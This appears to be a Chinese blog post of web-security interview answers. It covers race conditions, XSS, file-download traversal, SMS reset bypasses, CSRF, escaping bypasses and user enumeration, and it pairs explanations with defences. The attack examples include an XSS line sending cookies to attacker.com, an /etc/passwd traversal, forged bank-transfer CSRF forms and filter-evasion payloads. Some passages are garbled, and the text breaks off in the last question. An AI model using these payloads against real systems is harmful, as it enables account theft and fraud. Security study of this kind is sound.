活动发起人@小虚竹 想对你说:
这是一个以写作博客为目的的创作活动,旨在鼓励大学生博主们挖掘自己的创作潜能,展现自己的写作才华。如果你是一位热爱写作的、想要展现自己创作才华的小伙伴,那么,快来参加吧!我们一起发掘写作的魅力,书写出属于我们的故事。我们诚挚邀请你参加为期14天的创作挑战赛!
提醒:在发布作品前,请将不需要的内容删除。
1.条件竞争漏洞原理与举例
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生
举个例子,很多 web 程序都会有上传文件的功能,头像和图像等,服务器肯定导致此类问题的发生。会检查文件是否满足条件,不满足的要被删除。那么问题就在于,如果我们采用大量的并发请求,就传递一个生成恶意 webshel的图像,访问它就可以生成webshell.
在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell 的文件。
至此该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功地在服务器中植入了一个shel文件,后续的一切就都不是问题了。
想了解更多的可以看下边
漏洞挖掘|条件竞争在漏洞挖掘中的妙用 | CN-SEC 中文网
条件竞争(Race condition)漏洞挖掘技巧及实战案例全汇总-腾讯云开发者社区-腾讯云
条件竞争漏洞详解-CSDN博客
2.如何验证存在xss漏洞
XSS 漏洞的原理是:插入语句、改变结果、操纵数据
本质是:用户输入的 html语句直接输出,包括了使用不正确的方法去验证挖掘 XSS 的第一步是找输入,也就是用户可以操控代码的位置;第二步是找输出也就是找到第一步用户输入的代码在网页的何处地方进行了输出,第三步:构造payload,通过查看源代码,构建出 payload。
如代码输出位置在<td>test</td>,即可构建出payload
test</td><svg/οnlοad=console,log(1)><td>
最后输出结果为
<td>test</td><svg/οnlοad=console.log(1)><td></td>
3.如何验证存在任意文件下载的漏洞
一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。
利用条件:存在读文件的函数;读取文件的路径用户可控且未校验或校验不严输出了文件内容。
任意文件下载和任意文件读取有着相似的地方:就是都需要路径,例如index.php?f=file:///etc/passwd, index.php?f=../index.php
想了解更多的可以去看
任意文件下载漏洞学习 - 时光不改 - 博客园
任意文件读取/下载漏洞总结_任意文件下载漏洞-CSDN博客
4.Web短信重置密码可能存在哪几种绕过方式
1)短信验证码可爆破
2)短信验证码显示在获取验证码请求的回显中
3)注册手机号及短信验证码未进行匹配性验证
4)用户名、手机号码、短信验证码三者没有进行匹配性验证
5)短信验证码的验证在本地客户端进行验证
6)重置步骤未进行校验
7)重置请求未验证身份
8)登录成功修改密码功能平行越权
9)未校验身份信息的唯一标识 cookie 信息
想了解更多请看下边
【逻辑漏洞】任意账号密码重置 - Carrypan - 博客园
【web安全】短信等各类验证码的绕过思路整理_短信验证码绕过-CSDN博客
Web漏洞之短信验证绕过及口令爆破 - 6小1 - 博客园
绕过验证码并攻击密码找回的几种方法_找回密码时如何绕过手机验证码-CSDN博客
5.xss有哪几种类型
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的 Web 安全漏洞,攻击者通过注入恶意脚本到目标网站,使其他用户在访问该网站时执行恶意代码。根据攻击方式和注入点的不同,XSS 可分为以下三种主要类型:
反射型 XSS(Reflected XSS)
- 攻击原理:
攻击者诱导用户点击包含恶意脚本的链接,当用户访问该链接时,服务器将恶意脚本作为响应内容返回给浏览器,浏览器会执行这些脚本。恶意脚本通常通过 URL 参数传递到服务器,再反射回客户端。 - 典型场景:
-
- 搜索功能:攻击者构造包含恶意脚本的搜索关键词,当用户点击链接并提交搜索时,服务器将搜索关键词原样返回在搜索结果页面中,从而触发恶意脚本。例如,攻击者构造的 URL 可能是
http://example.com/search?keyword=<script>alert('XSS')</script>
。 - 错误页面:攻击者可以利用错误页面返回的错误信息,将恶意脚本作为错误信息传递给服务器,服务器再将其显示在错误页面上。
- 搜索功能:攻击者构造包含恶意脚本的搜索关键词,当用户点击链接并提交搜索时,服务器将搜索关键词原样返回在搜索结果页面中,从而触发恶意脚本。例如,攻击者构造的 URL 可能是
- 特点:
-
- 非持久化:恶意脚本不存储在服务器端,仅在当前请求中被反射回来并执行。
- 需要用户交互:攻击者必须诱导用户点击包含恶意脚本的链接,攻击才能生效。
存储型 XSS(Stored XSS)
- 攻击原理:
攻击者将恶意脚本提交到目标网站的数据库中,当其他用户访问包含该恶意脚本的页面时,浏览器会自动执行这些脚本。常见的注入点包括留言板、评论区、个人资料等。 - 典型场景:
-
- 留言板:攻击者在留言板中输入恶意脚本,如
<script>document.location='http://attacker.com?cookie='+document.cookie</script>
,当其他用户查看留言板时,脚本会将用户的 Cookie 信息发送到攻击者的服务器。 - 评论区:攻击者在文章评论区发表包含恶意脚本的评论,其他用户在浏览文章时会执行该脚本。
- 留言板:攻击者在留言板中输入恶意脚本,如
- 特点:
-
- 持久化:恶意脚本存储在服务器端数据库中,会对所有访问相关页面的用户造成影响。
- 危害较大:一旦注入成功,会持续攻击多个用户,而不需要每次都诱导用户点击特定链接。
DOM 型 XSS(DOM-based XSS)
- 攻击原理:
攻击者通过修改页面的 DOM(文档对象模型)结构,使得页面在客户端执行恶意脚本。这种攻击不依赖于服务器对数据的处理,而是直接在客户端的 JavaScript 代码中进行操作。 - 典型场景:
-
- URL 参数处理:当页面的 JavaScript 代码从 URL 中获取参数并直接用于修改 DOM 时,攻击者可以构造包含恶意脚本的 URL。例如,页面中有如下代码
document.getElementById('target').innerHTML = window.location.hash.substr(1);
,攻击者可以构造 URLhttp://example.com/#<script>alert('XSS')</script>
,当用户访问该 URL 时,页面会将哈希值中的恶意脚本插入到 DOM 中并执行。 - 用户输入处理:如果页面的 JavaScript 代码直接将用户输入插入到 DOM 中,而没有进行适当的过滤和转义,攻击者可以输入恶意脚本。
- URL 参数处理:当页面的 JavaScript 代码从 URL 中获取参数并直接用于修改 DOM 时,攻击者可以构造包含恶意脚本的 URL。例如,页面中有如下代码
- 特点:
-
- 纯客户端攻击:不涉及服务器对数据的存储和处理,攻击完全在客户端进行。
- 难以检测:由于攻击发生在客户端,服务器端的安全防护机制可能无法有效检测和防范。
总结
这三种 XSS 类型各有特点,反射型 XSS 依赖于用户点击恶意链接,存储型 XSS 会持久化存储在服务器端影响多个用户,而 DOM 型 XSS 则是在客户端通过修改 DOM 结构来执行恶意脚本。在 Web 开发中,需要对不同类型的 XSS 攻击采取相应的防护措施,如对用户输入进行严格的过滤和转义,对输出进行编码等。
6.黑客可以通过xss攻击做哪些事
XSS(跨站脚本攻击)是一种常见的网络安全漏洞,黑客通过 XSS 攻击可以实现以下多种恶意行为:
- 窃取用户信息
-
- 账号密码:黑客可以利用 XSS 漏洞在用户登录页面注入恶意脚本,当用户输入账号和密码时,这些信息会被脚本捕获并发送给黑客。
- 个人资料:在一些社交平台或个人信息页面,通过 XSS 攻击获取用户的个人资料,如姓名、联系方式、身份证号码等,这些信息可能被用于进一步的诈骗或身份盗窃。
- 篡改网页内容
-
- 替换页面元素:黑客可以将网页上的正常内容替换为自己设计的恶意内容,例如将商品购买链接替换为指向虚假支付页面的链接,诱导用户进行支付,从而骗取钱财。
- 插入广告或恶意链接:在网页中插入大量广告或恶意链接,影响用户体验,甚至引导用户访问恶意网站,导致用户遭受更多的安全威胁。
- 实施钓鱼攻击
-
- 伪装登录页面:通过 XSS 攻击在目标网站上创建一个与真实登录页面几乎一模一样的假登录页面,当用户输入登录信息时,这些信息会被黑客获取,进而盗取用户账号。
- 发送钓鱼邮件:利用 XSS 漏洞获取用户的邮件地址等信息,然后发送钓鱼邮件,诱导用户点击恶意链接或下载恶意附件,从而进一步感染用户设备或获取更多敏感信息。
- 控制用户设备
-
- 执行恶意脚本:黑客可以通过 XSS 攻击在用户设备上执行恶意脚本,这些脚本可以实现对用户设备的控制,如开启摄像头、麦克风,获取设备位置信息等。
- 传播恶意软件:利用 XSS 漏洞下载并安装恶意软件到用户设备上,进而控制用户设备,窃取用户数据或进行其他恶意活动。
- 破坏网站功能
-
- 删除或修改数据:黑客可以利用 XSS 攻击向网站数据库发送恶意指令,删除或修改网站的重要数据,如文章、评论、订单信息等,导致网站功能受损,影响正常运营。
- 使网站瘫痪:通过 XSS 攻击发送大量恶意请求,耗尽网站的服务器资源,使网站无法正常响应用户请求,造成网站瘫痪。
7.xss攻击如何进行防护
XSS 攻击的防护可以从以下几个方面入手:
输入验证与过滤
- 对用户输入进行严格验证:在接收用户输入的地方,如表单、搜索框等,对输入内容进行验证,确保其符合预期的格式和范围。例如,对于手机号码字段,只允许输入数字且长度符合规范;对于邮箱地址字段,验证其是否符合邮箱格式。
- 过滤特殊字符:对用户输入中的特殊字符进行过滤或转义,防止恶意脚本注入。常见的需要过滤的字符包括
<
、>
、&
、'
、"
等。可以使用编程语言提供的相关函数或库来进行过滤,如在 Java 中可以使用StringEscapeUtils
对字符串进行转义。
输出编码
- 对输出到页面的数据进行编码:在将数据显示在网页上之前,对其进行编码,将特殊字符转换为 HTML 实体或其他安全的表示形式。这样可以防止浏览器将其解析为脚本代码。例如,将
<
转换为<
,>
转换为>
。不同的编程语言都有相应的编码函数,如 Python 中的html.escape()
函数。
安全的 HTML 渲染
- 使用安全的渲染机制:避免使用
innerHTML
等容易导致 XSS 攻击的方法来更新页面内容。如果需要动态更新页面,可以使用更安全的方法,如createElement
和appendChild
来创建和添加元素,或者使用现代的前端框架,它们通常提供了安全的渲染机制,能够自动对数据进行编码和防护。
内容安全策略(CSP)
- 设置 CSP 头信息:通过在服务器端设置
Content - Security - Policy
头信息,明确告诉浏览器哪些资源可以加载,哪些脚本可以执行等。例如,可以指定只允许从特定的域名加载脚本,禁止加载内联脚本和外部非信任源的脚本,从而大大降低 XSS 攻击的风险。
定期更新和维护软件
- 及时更新框架和库:使用的前端框架、后端框架以及各种第三方库都可能存在安全漏洞,及时更新到最新版本可以修复已知的安全问题,降低被 XSS 攻击的可能性。
- 保持服务器软件更新:服务器上的操作系统、Web 服务器软件等也需要及时更新补丁,以防止黑客利用服务器软件的漏洞来实施 XSS 攻击或其他类型的攻击。
安全意识培训
- 对开发人员进行培训:让开发人员了解 XSS 攻击的原理、危害和防护方法,在开发过程中养成良好的安全编码习惯,避免出现容易导致 XSS 漏洞的代码。
- 对用户进行教育:提高用户的安全意识,让用户警惕可疑的链接和输入,避免在不可信的网站上输入敏感信息,减少成为 XSS 攻击受害者的可能性。
8.什么是CSRF攻击
一、什么是 CSRF 攻击?
**CSRF(Cross-Site Request Forgery,跨站请求伪造)** 是一种攻击者利用用户已登录的身份,诱使其执行非本意操作的攻击方式。攻击者通过构造恶意请求(如提交表单、发起 API 调用等),让用户在不知情的情况下,以用户的身份向目标网站发送请求,从而完成敏感操作(如转账、修改密码、发布信息等)。
二、核心原理与攻击场景
- 前提条件:
-
- 用户已登录目标网站(如银行、邮箱、社交媒体等),且浏览器保存了有效的会话凭证(Cookie、Token 等)。
- 目标网站对用户请求的验证不够严格,仅依赖会话凭证(如 Cookie),未验证请求是否来自用户主动操作。
- 典型攻击流程:
-
- 用户登录:用户登录信任站点 A(如网银),浏览器存储了站点 A 的会话 Cookie。
- 恶意诱导:用户在未退出站点 A 的情况下,访问攻击者控制的恶意站点 B(如钓鱼页面、包含隐藏恶意请求的图片 / 链接)。
- 伪造请求:站点 B 向站点 A 发送伪造的请求(如转账 API、修改密码表单),浏览器自动携带站点 A 的 Cookie。
- 服务器误判:站点 A 验证 Cookie 有效,误认为请求来自用户本人,执行恶意操作。
- 常见攻击场景:
-
- 转账 / 支付:诱使用户点击链接,以用户身份向攻击者账户转账。
- 修改账户信息:伪造修改邮箱、手机号的请求,窃取账户控制权。
- 发布恶意内容:以用户身份在论坛、社交平台发布广告或病毒链接。
三、CSRF 攻击与 XSS 的区别
特征 | CSRF | XSS |
攻击目标 | 利用用户身份执行操作,依赖会话凭证 | 窃取用户信息或控制用户浏览器,依赖脚本注入 |
攻击方式 | 伪造用户请求(被动诱导用户触发) | 直接注入恶意脚本到目标页面 |
技术核心 | 会话凭证冒用 | 脚本执行 |
四、攻击的必要条件(缺一不可)
- 用户已认证:用户在目标网站处于登录状态,拥有有效会话凭证。
- 操作可被伪造:目标网站的关键操作(如 POST 请求)可通过简单的 HTTP 请求触发,且未验证来源。
- 用户主动触发:用户需访问包含恶意请求的页面(如点击链接、加载图片),浏览器自动发送请求。
五、防护措施
- 验证请求来源(核心):
-
- CSRF 令牌(Token):
-
-
- 服务器在页面加载时生成随机令牌,嵌入表单或请求参数中。
- 用户提交请求时,需携带令牌,服务器验证令牌与会话绑定的令牌是否一致,防止伪造。
-
-
- Referer 检查:
-
-
- 验证请求的
Referer
头是否来自目标网站(如仅允许https://yourdomain.com
的请求),但存在浏览器兼容性和隐私问题。
- 验证请求的
-
- 强化会话凭证安全性:
-
- SameSite Cookie:
-
-
- 设置 Cookie 的
SameSite
属性为Strict
或Lax
,限制跨站请求携带 Cookie(现代浏览器支持)。 Strict
:仅允许同站请求携带 Cookie;Lax
:允许安全的跨站请求(如 GET 方法的链接点击)。
- 设置 Cookie 的
-
-
- Token 时效性:缩短会话凭证的有效期,降低被利用的窗口。
- 限制危险操作的触发方式:
-
- 关键操作(如转账、修改密码)强制要求二次验证(如短信验证码、密码确认)。
- 避免通过 GET 请求执行敏感操作(如删除数据),改用 POST/PUT/DELETE 等方法,并配合令牌验证。
六、总结
CSRF 攻击的核心是 “冒用用户身份执行操作”,依赖用户已登录的会话凭证和目标网站的验证漏洞。防护的关键在于区分合法请求与伪造请求,通过令牌验证、来源检查、安全 Cookie 策略等手段,确保敏感操作由用户主动发起。开发时需对所有用户提交的请求(尤其是表单、API 调用)进行严格的来源验证,避免仅依赖 Cookie 等会话凭证作为唯一信任依据。
9.CSRF攻击一般怎莫实现
CSRF(跨站请求伪造)攻击的实现通常需要攻击者精心构造恶意请求,并诱使用户在已登录目标网站的情况下触发该请求。以下是其典型实现步骤和方法:
一、攻击前提条件
- 用户已登录目标网站:用户的浏览器中保存了目标网站的有效会话凭证(如 Cookie),且未过期。
- 目标网站存在漏洞:关键操作(如提交表单、调用 API)仅依赖 Cookie 验证身份,未验证请求是否来自用户主动操作。
二、攻击实现步骤
1. 分析目标网站的敏感操作
攻击者首先需要明确目标网站的敏感功能接口,例如:
- 转账接口:
POST /transfer?to=收款人&amount=金额
- 修改密码接口:
POST /change-password?old_pwd=旧密码&new_pwd=新密码
- 发布文章接口:
POST /post-article?title=标题&content=内容
这些接口的共同点是:通过 HTTP 请求(GET/POST 等)即可触发,且依赖 Cookie 验证用户身份。
2. 构造恶意请求
攻击者需要创建一个用户被动触发的请求,该请求会向目标网站发送伪造的操作指令。常见构造方式包括:
(1)利用 GET 请求(最简单场景)
若目标网站的敏感操作通过GET 请求实现(如删除数据:GET /delete-user?id=123
),攻击者可直接构造一个恶意链接:
plaintext
https://目标网站.com/delete-user?id=123 <!-- 伪装成正常链接,实际触发删除操作 -->
用户一旦点击该链接,浏览器会自动携带目标网站的 Cookie 发送请求,服务器误认为是用户主动操作。
(2)利用 POST 请求(更隐蔽场景)
若敏感操作通过POST 请求实现,攻击者无法直接通过链接触发,需在恶意页面中嵌入自动提交的表单或JavaScript 脚本:
html
<!-- 恶意页面中的隐藏表单,用户打开页面时自动提交 -->
<form action="https://目标网站.com/transfer" method="POST" style="display: none;"> <input type="hidden" name="to" value="攻击者账户"> <input type="hidden" name="amount" value="10000">
</form>
<script> document.forms[0].submit(); <!-- 页面加载后自动提交表单 -->
</script>
(3)利用图片 /iframe 等标签(隐式触发)
某些情况下,目标网站的接口可能接受任意 HTTP 方法或参数,攻击者可通过加载图片或 iframe 间接触发请求(适用于 GET 请求):
html
<!-- 加载图片时向目标网站发送转账请求 -->
<img src="https://目标网站.com/transfer?to=攻击者账户&amount=10000" width="0" height="0">
3. 诱使用户触发恶意请求
攻击者需要将恶意请求嵌入到用户可能访问的场景中,常见手段包括:
- 钓鱼链接:通过邮件、短信、即时通讯工具发送伪装成合法内容的链接(如 “点击查看订单详情”)。
- 恶意网页:创建虚假网站(如虚假论坛、图片网站),用户访问时自动触发隐藏的 CSRF 请求。
- 嵌入合法网站:若目标网站允许用户发布内容(如评论、帖子),攻击者可在其中插入恶意代码(需配合 XSS 漏洞,否则受限于浏览器同源策略)。
4. 利用浏览器自动携带会话凭证
当用户访问恶意页面并触发请求时,浏览器会自动携带目标网站的 Cookie(即使请求来自第三方域名)。例如:
- 用户已登录银行网站 A(
bank.com
),此时访问攻击者的网站 B(hacker.com
),网站 B 向bank.com
发送转账请求,浏览器会附带bank.com
的 Cookie,服务器验证 Cookie 有效后执行转账。
5. 服务器处理请求并执行操作
目标网站收到请求后,仅验证 Cookie 的有效性(如会话未过期),但未验证请求是否真的由用户主动发起,因此误认为是合法操作,最终执行敏感动作(如转账、修改密码等)。
三、攻击成功的关键条件
- 用户未退出目标网站:会话 Cookie 必须有效且未过期。
- 目标网站未做 CSRF 防护:未使用 Token 验证、Referer 检查或 SameSite Cookie 等机制。
- 用户主动或被动触发请求:用户必须访问包含恶意请求的页面(如点击链接、加载图片),攻击无法主动发起(与 XSS 不同)。
四、示例:模拟 CSRF 攻击转账流程
- 用户登录银行网站:
https://bank.com/login
,Cookie 为session=12345
。 - 攻击者构造恶意页面:html
<!DOCTYPE html>
<html>
<body> <h1>福利活动!点击领取奖品</h1> <form action="https://bank.com/transfer" method="POST" style="display: none;"> <input type="hidden" name="receiver" value="attacker_account"> <input type="hidden" name="amount" value="5000"> </form> <script> // 用户点击“领取”时提交表单(或自动提交) document.forms[0].submit(); </script>
</body>
</html>
- 用户访问恶意页面:浏览器自动携带
bank.com
的 Cookie 发送 POST 请求,银行服务器验证 Cookie 有效,执行转账。
五、总结
CSRF 攻击的核心是利用用户已认证的会话凭证,伪造其发起的合法请求。攻击者无需窃取用户密码或 Cookie,只需诱使用户在登录状态下访问恶意页面即可触发。其实现依赖于目标网站对请求来源验证的缺失,因此防护的关键在于增加对请求合法性的校验(如 Token 机制、SameSite Cookie 等)。
10.应该如何防范CSRF攻击
防范 CSRF 攻击的核心是验证请求的合法性和来源,确保敏感操作确实由用户主动发起,而非被第三方站点伪造。以下是常用的防护措施,需根据业务场景综合使用:
一、服务端核心防护手段
1. CSRF Token 机制(最有效方案)
通过在请求中加入客户端无法伪造的随机令牌,验证请求是否来自合法用户。
- 实现步骤:
-
- 生成 Token:服务器为每个用户会话生成一个唯一的随机字符串(如 UUID),存储在用户会话(Session)或 Cookie 中。
- 嵌入 Token 到页面:在所有敏感操作的表单(或 API 请求)中添加隐藏的 Token 字段,例如:html
<form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="服务器生成的随机令牌"> <!-- 其他表单字段 -->
</form>
-
- 验证 Token:服务器接收请求时,对比表单中的 Token 与用户会话中存储的 Token,一致则认为合法,否则拒绝。
- 两种 Token 模式:
-
- 同源 Token(In-Session Token):Token 存储在 Session 中,适用于传统 Web 表单。
- 双重 Cookie Token:Token 同时存储在 Cookie 和请求参数中,服务器验证两者是否一致(需确保 Cookie 未被篡改,适用于前后端分离场景)。
- 优点:从源头阻断跨站伪造请求,兼容性强。
- 注意:Token 需足够随机且每次请求后刷新(或单次有效),避免被猜测或重复使用。
2. SameSite Cookie 属性(浏览器级防护)
通过设置 Cookie 的SameSite
属性,控制浏览器是否在跨站请求中携带 Cookie,从源头减少会话凭证被滥用的可能。
- 属性值:
-
Strict
:仅允许同站请求携带 Cookie(最严格,可能影响正常跨站链接,如从 A 站链接到 B 站时,B 站无法获取 A 站的 Cookie)。Lax
:允许安全的跨站请求(如 GET 方法的链接点击)携带 Cookie,但 POST 等主动提交的请求不携带(平衡安全性和可用性,推荐默认设置)。None
:允许跨站请求携带 Cookie(需同时设置Secure
属性,用于必须跨站的场景,如第三方登录)。
- 实现:在 Cookie 中添加:plaintext
Set-Cookie: session=12345; SameSite=Lax; Secure; HttpOnly
- 优点:无需修改业务逻辑,浏览器原生支持;缺点:旧版浏览器(如 IE)可能不支持,需配合其他方案。
3. Referer/Origin 校验(辅助手段)
检查请求的Referer
(来源页面 URL)或Origin
(请求源)是否来自可信域名,确保请求来自本站。
- 原理:
-
Referer
:记录请求发起的页面(如用户从https://合法网站.com/transfer
页面提交表单,Referer 应为该 URL)。Origin
:仅包含协议、域名和端口,比 Referer 更简洁,且不会泄露路径参数(如https://合法网站.com
)。
- 实现:
服务器获取请求的Referer
或Origin
,验证是否以本站域名开头(如https://合法网站.com
)。 - 缺点:
-
Referer
可能被用户禁用(如隐私模式)或被篡改(攻击者可伪造 Referer)。- 无法应对通过本站页面嵌入的恶意代码(如站内 XSS 漏洞配合 CSRF)。
- 适用场景:作为 Token 机制的补充,非核心防护手段。
4. 验证码(强制用户交互)
对敏感操作(如修改密码、转账)要求用户输入验证码,确保请求由用户主动触发。
- 优点:几乎无法被自动化攻击绕过,安全性高。
- 缺点:影响用户体验,适合对安全性要求极高的场景(如金融类操作)。
二、请求与接口设计规范
1. 限制敏感操作的 HTTP 方法
- 敏感操作(如提交表单、修改数据)避免使用 GET 请求(因 GET 请求可被轻松嵌入链接或图片),强制使用 POST、PUT、DELETE 等方法。
- 虽然无法完全阻止 CSRF,但可增加攻击者构造 POST 请求的复杂度(需通过表单或脚本提交)。
2. 接口签名机制(适用于 API 场景)
- 对 API 接口的请求添加签名(如时间戳 + 随机盐 + 用户密钥的哈希值),服务器验证签名是否合法。
- 签名需包含无法被第三方伪造的信息(如用户会话中的密钥),防止跨站请求伪造。
三、客户端与浏览器层面优化
1. 避免自动提交表单或链接
- 前端代码中,禁止自动提交敏感表单(如通过 JavaScript 自动触发
form.submit()
),确保用户必须主动点击按钮等交互操作。 - 对用户输入的 URL 链接进行过滤(如富文本编辑器中禁用
onclick
等事件),防止恶意代码注入。
2. 使用 CORS(跨域资源共享)
- 对于需要跨域交互的场景,通过 CORS 严格限制允许访问的域名,避免未授权的跨站请求。
- 示例:服务器返回
Access-Control-Allow-Origin: https://合法域名.com
,仅允许指定域名的跨域请求。
四、综合防护策略
- 核心方案组合:
-
- Token 机制 + SameSite=Lax:覆盖大多数场景,兼顾安全性和用户体验。
- 关键操作(如支付、密码修改)叠加验证码或二次认证。
- 定期审计与测试:
-
- 使用安全工具(如 OWASP ZAP、Burp Suite)扫描 CSRF 漏洞,模拟攻击验证防护效果。
- 检查遗留接口是否缺少防护(如旧 API 仅依赖 Cookie 验证)。
- 用户会话管理:
-
- 缩短敏感操作的会话有效期(如支付页面会话超时时间更短)。
- 登出时清除所有会话 Cookie,避免凭证被复用。
五、总结
CSRF 防护的核心是验证 “请求是否由用户主动发起”,单一方案可能存在漏洞(如仅依赖 Referer 可能被绕过),需结合业务场景多层防御:
- 必选:Token 机制(表单 / API)、SameSite Cookie(Lax 或 Strict)。
- 可选增强:Referer/Origin 校验、验证码、接口签名。
通过上述措施,可有效阻断 99% 以上的 CSRF 攻击,同时最小化对用户体验的影响。
11.如何突破注入时字符被转义
在注入攻击中,当用户输入的特殊字符被转义(如 '
转义为 \'
,<
转义为 <
),导致恶意代码无法直接执行时,攻击者需要通过分析转义机制的漏洞或利用特定场景来绕过限制。以下是常见的突破转义的方法,需结合具体应用环境选择:
一、SQL 注入场景:突破转义的常见技巧
1. 宽字节注入(针对 GBK 等编码)
- 原理:利用数据库编码(如 GBK)的宽字节特性,使转义字符(如
\
,ASCII 码为0x5C
)与恶意字符结合成一个合法的宽字节字符,从而 “吃掉” 转义符。 - 示例:
-
- 正常输入:
' → \'
(转义后为0x5C 0x27
)。 - 攻击输入:
%df'
(%df
是 GBK 中的一个字节,与0x5C
组合成0xDF5C
,对应汉字 “連”,实际存储为'
,绕过转义)。
- 正常输入:
- 条件:数据库使用宽字节编码(如 GBK),且未正确设置
character_set_client
为binary
。
2. 二次注入(利用存储型转义漏洞)
- 原理:第一次输入时,特殊字符被转义并存储到数据库;但当数据被取出并二次使用时,未再次转义,导致转义符失效。
- 示例:
-
- 注册用户名为
admin\'
,被转义为admin\\\'
存入数据库。 - 管理员页面读取用户名并拼接 SQL 语句时,直接使用
SELECT * FROM users WHERE username = 'admin\\\''
,实际执行时\\\'
被解析为\'
,导致单引号闭合。
- 注册用户名为
3. 转义函数缺陷(如未转义所有字符)
- 场景:应用仅转义部分字符(如
'
),但未处理其他符号(如--
、;
、#
)。 - 示例:
输入1'; --
,转义后为1\'; --
,但--
作为注释符未被转义,仍可截断 SQL 语句。
4. 编码转换绕过(Unicode / 十六进制)
- 原理:将恶意字符转换为 Unicode 编码(如
\u0027
表示'
)或十六进制(如0x27
),部分数据库或框架在解析时会自动解码。 - 示例:
在 MySQL 中,输入0x27
表示单引号,绕过基于字符串的转义。
二、XSS 场景:突破 HTML/JS 转义的技巧
1. HTML 实体编码绕过
- 场景:应用将
<
转义为<
,但未禁止其他合法标签或属性。 - 技巧:
-
- 利用标签属性闭合:html
<!-- 转义后:<input type="text" name="name" value="<script>alert(1)</script>"> -->
<!-- 突破:在value中添加 "><script>alert(1)</script>,闭合属性并注入 -->
输入:" onmouseover=alert(1) x="
转义后:" onmouseover=alert(1) x="
实际解析:<input ... value="" onmouseover=alert(1) x="">,触发事件。
-
- 利用注释或特殊标签:
使用<svg/onload=alert(1)>
、<iframe src="javascript:alert(1)">
等标签,部分转义可能未过滤标签名或事件名。
- 利用注释或特殊标签:
2. JavaScript 字符串转义绕过
- 场景:恶意代码被嵌入 JS 字符串中(如
<script>var x = "用户输入"</script>
),"
被转义为\"
。 - 技巧:
-
- 断开关闭符并跳出作用域:javascript
输入:"\;alert(1);//
转义后:\";\alert(1);//
实际解析:var x = "\";alert(1);//"; ,分号闭合字符串,执行alert。
-
- 利用 Unicode 编码:
将alert
编码为\u0061\u006c\u0065\u0072\u0074
,绕过基于字符的转义。
- 利用 Unicode 编码:
3. 双重编码或多次解码
- 原理:应用对输入进行一次编码(如 URL 编码),但中间件或浏览器可能二次解码,导致转义符失效。
- 示例:
输入%253Cscript%253Ealert(1)%253C/script%253E
(双重 URL 编码),第一次解码为%3Cscript%3Ealert(1)%3C/script%3E
,第二次解码为原始 XSS 代码。
三、通用突破思路:分析转义机制的漏洞
1. 检查转义是否统一
- 确认转义是否在所有输入点(如 URL、表单、HTTP 头)和所有输出场景(如 HTML、JS、CSS)中一致。例如,某框架对表单数据转义,但对 URL 参数未处理。
2. 利用上下文差异
- 不同上下文(HTML 标签、JS 代码、CSS、URL)的转义规则不同,攻击者可切换注入点到转义较弱的上下文。
-
- 例:在 HTML 属性中注入(如
href
、src
),利用javascript:
伪协议绕过部分转义。
- 例:在 HTML 属性中注入(如
3. 测试转义函数的边界条件
- 输入超长字符串、特殊符号组合(如
\
本身、连续转义符\\
),观察是否引发解析错误。 - 例:PHP 的
addslashes()
对\
转义为\\
,但如果数据库使用CHARSET BINARY
,\\
会被视为两个\
,可能导致单引号被释放。
4. 利用框架或库的已知漏洞
- 某些老旧框架(如 PHP 的 magic_quotes_gpc)或未正确配置的库(如未使用参数化查询的 ORM)存在转义缺陷,可查询 CVE 漏洞库寻找对应绕过方法。
四、防御建议:防止转义绕过的最佳实践
- 避免依赖单一转义,采用 “输入验证 + 输出编码” 组合:
-
- 输入验证:白名单校验(仅允许合法字符,如邮箱、手机号格式),而非黑名单过滤(易被绕过)。
- 输出编码:根据上下文使用对应的编码(如 HTML 场景用
htmlspecialchars
,JS 场景用JSON.stringify
)。
- 使用安全的编程接口:
-
- SQL 注入:强制使用参数化查询(Prepared Statements),而非手动拼接 SQL 语句。
- XSS:使用安全的模板引擎(如 React 自动转义 HTML,Vue 的
v-html
谨慎使用)。
- 正确配置环境:
-
- 数据库编码统一为 UTF-8 Unicode(避免宽字节漏洞),关闭不必要的自动解码功能。
- 设置 Cookie 的
HttpOnly
属性,防止 XSS 窃取会话凭证。
- 多层防御与漏洞扫描:
-
- 通过 WAF(Web 应用防火墙)对输入进行实时检测,结合静态代码扫描(如 SonarQube)发现转义逻辑漏洞。
总结
突破转义的核心是利用目标系统的编码规则、转义逻辑缺陷或上下文差异,但具体方法高度依赖应用的实现细节。攻击者需通过细致的漏洞探测(如 Fuzz 测试、分析响应差异)确定可利用点。防御者应遵循 “安全默认配置 + 多层防护” 原则,避免仅依赖转义函数,从输入验证、输出编码、接口设计等多维度构建防线。
12.目标站禁止注册用户,找回密码处随便输入用户名提示:"此用户不存在",你觉得这里怎莫利用
在目标站禁止注册用户且找回密码功能返回统一提示 “此用户不存在” 的场景下,攻击者可通过以下方式利用该漏洞:
一、用户枚举与信息泄露
1. 基于邮件 / 短信的隐式枚举
- 原理:系统可能在后台对有效用户执行邮件或短信发送操作,即使前端统一返回 “用户不存在”。
- 攻击手法:
-
- 自动化枚举:编写脚本批量提交用户名,通过监控邮件服务器或短信网关的日志,判断哪些用户名触发了邮件 / 短信发送。例如,若输入
admin
时触发了密码重置邮件,而输入test
时无响应,则可推断admin
为有效用户1。 - 响应时间差异:有效用户的请求可能因触发邮件发送而产生更长的响应时间。攻击者可通过测量响应时间(如
curl -w %{time_total} -o /dev/null
)推断用户是否存在。
- 自动化枚举:编写脚本批量提交用户名,通过监控邮件服务器或短信网关的日志,判断哪些用户名触发了邮件 / 短信发送。例如,若输入
2. 逻辑漏洞导致的枚举
- 场景:系统可能在验证用户名后,未正确处理后续流程,导致枚举漏洞。
- 案例:某系统在找回密码时,若输入有效用户名,返回 “用户不存在” 但生成临时 token;若输入无效用户名,则无 token 生成。攻击者可通过检查响应包中的 token 参数是否存在来判断用户是否存在1。
二、绕过验证直接重置密码
1. 修改响应包绕过前端验证
- 攻击手法:
-
- 在找回密码页面输入任意用户名,点击 “提交” 并抓包。
